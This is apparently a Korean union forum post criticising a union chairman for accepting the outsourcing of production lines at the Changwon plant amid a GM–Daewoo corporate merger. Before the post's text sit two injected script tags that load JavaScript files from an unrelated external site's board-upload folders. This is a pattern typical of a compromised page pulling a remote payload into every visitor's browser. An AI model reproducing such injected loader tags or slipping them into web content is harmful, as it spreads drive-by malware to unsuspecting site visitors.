<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 위원장 지부를 다녀갔다.
말들이 무성하다.
현실을 직시할줄 알아야한다고 일부 도급화는
어쩔수 없다고, 메인라인만 장악하면 된다고,
나머지는 도급화되도 상관없다고, 법인 통합 때문인듯 한데
그렇게 서두를 필요가 있을까 싶다
오히려 대우가 칼자루를 지고 있었는데 말이다.
돈되는 대우를 버리는 어리섞은 짓은 gm이 하지 않았을테니까!
위원장 왜 그렇게 법인통합에 목을메야 하는지
정말 모르겠다
창원공장은 직영으로 메인라인을 장악할 인원이 안된다.
도급화하면 메인라인도 도급화 할 수 밖에 없다.
그렇게되면 사실상 노동조합은 폐업될 수 밖에 없다.
어떻게 해결책이 없는 것이다.
위원장 도대체 뭘 생각하고 있소?
노조 말아 묵자는 거요 아니면........
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